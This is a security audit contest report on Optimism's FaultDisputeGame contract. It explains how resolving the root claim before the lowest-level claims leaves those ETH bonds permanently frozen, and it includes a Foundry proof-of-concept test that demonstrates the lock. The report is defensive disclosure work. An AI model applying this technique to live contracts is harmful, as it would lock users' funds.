ETH Bonds at the lowest depth of their respective path can be frozen

Summary

The bond at the lowest level of each split can be frozen if the entire game is resolved. There is no requirement that claims at the lowest level of each bisection are resolved, and once resolutions percolate all the way up to the root and the entire game is resolved, users will not be able to claim the bonds at the lowest level.

Vulnerability Detail

Take the following example of a claim tree:

In the above example, both E and F can be frozen. Once the timer has passed, anyone can resolve D, B, and C. And finally resolve the root claim, A. Once the root claim is resolved, users cannot resolve F and E.

This scenario arises because there is no logic to ensure that the lowest-level claims in each respective bisection are resolved prior to their parent. The logic instead enforces that a claim cannot be resolved until all of its children do not have any subgames. Lowest-level claims never have subgames.

Once the root claim is resolved, the game status flips to DEFENDER_WINS or CHALLENGER_WINS, meaning that claims cannout be resolved due to the following requirement:

if (status != GameStatus.IN_PROGRESS) revert GameNotInProgress();

Impact

Freezing of ETH bonds

Code Snippet

https://github.com/sherlock-audit/2024-02-optimism-2024/blob/main/optimism/packages/contracts-bedrock/src/dispute/FaultDisputeGame.sol#L441-L446

https://github.com/sherlock-audit/2024-02-optimism-2024/blob/main/optimism/packages/contracts-bedrock/src/dispute/FaultDisputeGame.sol#L407

Tool used

Manual Review

Recommendation

Instead of determining if a claim can be resolved by looking at the subgames array of its children, add a simple resolved flag to each child. This will make the logic for determining the resolution order much more explicit.

Scope validity

The contest handbook states:

However, please note that the game resolution logic within the FaultDisputeGame is not in scope for this contest. We have chosen to have these components reviewed separately given the complexity of the game resolution logic and its dependencies (including MIPS.sol and others). Although reports about incorrect resolution are appreciated, they will not be considered valid reports for this contest. Participants should assume that the games can resolve incorrectly and should confirm that key invariants hold nonetheless.

Top-Level Invariants

Invariants listed below are the critical, high-level goals that should be satisfied by the contracts that are in scope of this contest. Always keep these invariants in mind.

`FaultDisputeGame`

Participants must be able to withdraw a credit denominated in ETH exactly equal to but not greater than the credit amount that would be distributed to that user by a fully correct resolution of the FaultDisputeGame.

This submission does not describe incorrect game resolution. Instead it demonstrates how the key invariant that users are not able to withdraw the correct amount of ETH is broken. This is in-scope based on the last line of the Scope section: "Participants should assume that the games can resolve incorrectly and should confirm that key invariants hold nonetheless."

POC

There exists a test case called test_resolve_bondPayouts_succeeds which resolves ALL claims in the following order:

8, 7, 6, 5, 4, 3, 2, 1, Root

This POC has modified that test case to resolve claims in the following order:

7, 6, 5, 4, 3, 2, 1, Root, 8

The claim to 8 reverts, though the test continues to instead show the final WETH balances.

function test_resolve_bondPayouts_butNotLast_succeeds() public {
    // Give the test contract some ether
    uint256 bal = 1000 ether;
    vm.deal(address(this), bal);

    // Make claims all the way down the tree.
    uint256 bond = _getRequiredBond(0);
    uint256 totalBonded = bond;
    gameProxy.attack{value: bond}(0, _dummyClaim());
    bond = _getRequiredBond(1);
    totalBonded += bond;
    gameProxy.attack{value: bond}(1, _dummyClaim());
    bond = _getRequiredBond(2);
    totalBonded += bond;
    gameProxy.attack{value: bond}(2, _dummyClaim());
    bond = _getRequiredBond(3);
    totalBonded += bond;
    gameProxy.attack{value: bond}(3, _dummyClaim());
    bond = _getRequiredBond(4);
    totalBonded += bond;
    gameProxy.attack{value: bond}(
      4,
      _changeClaimStatus(_dummyClaim(), VMStatuses.PANIC)
    );
    bond = _getRequiredBond(5);
    totalBonded += bond;
    gameProxy.attack{value: bond}(5, _dummyClaim());
    bond = _getRequiredBond(6);
    totalBonded += bond;
    gameProxy.attack{value: bond}(6, _dummyClaim());
    bond = _getRequiredBond(7);

    // @audit Storing this variable just for easy understanding
    uint256 lastBond = bond;

    totalBonded += bond;
    gameProxy.attack{value: bond}(7, _dummyClaim());
    gameProxy.addLocalData(LocalPreimageKey.DISPUTED_L2_BLOCK_NUMBER, 8, 0);
    gameProxy.step(8, true, absolutePrestateData, hex'');

    // Ensure that the step successfully countered the leaf claim.
    (, address counteredBy, , , , , ) = gameProxy.claimData(8);
    assertEq(counteredBy, address(this));

    // Ensure we bonded the correct amounts
    assertEq(address(this).balance, bal - totalBonded);
    assertEq(address(gameProxy).balance, 0);
    assertEq(delayedWeth.balanceOf(address(gameProxy)), totalBonded);

    // Resolve all claims
    vm.warp(block.timestamp + 3 days + 12 hours + 1 seconds);
    for (uint256 i = gameProxy.claimDataLen() - 1; i > 0; i--) {
      (bool success, ) = address(gameProxy).call(
        abi.encodeCall(gameProxy.resolveClaim, (i - 1))
      );
      assertTrue(success);
    }

    gameProxy.resolve();

    // @audit Entire game can be resolved prior to lowest-level claim being resolved
    (bool success, ) = address(gameProxy).call(
      abi.encodeCall(gameProxy.resolveClaim, (8))
    );
    // @audit Not asserting here to instead show the WETH balances are incorrect
    // assertTrue(success);

    // Wait for the withdrawal delay.
    vm.warp(block.timestamp + delayedWeth.delay() + 1 seconds);

    gameProxy.claimCredit(address(this));

    // Ensure that bonds were paid out correctly.
    // @audit - Last bond gets skipped. WETH stays in possesion of GameProxy
    assertEq(address(this).balance, bal - lastBond);
    assertEq(address(gameProxy).balance, 0);
    assertEq(delayedWeth.balanceOf(address(gameProxy)), lastBond);

    // Ensure that the init bond for the game is 0, in case we change it in the test suite in the future.
    assertEq(disputeGameFactory.initBonds(GAME_TYPE), 0);
  }

Duplicate of #164

sherlock-audit / 2024-02-optimism-2024-judging

0xDjango - ETH Bonds at the lowest depth of their respective path can be frozen #188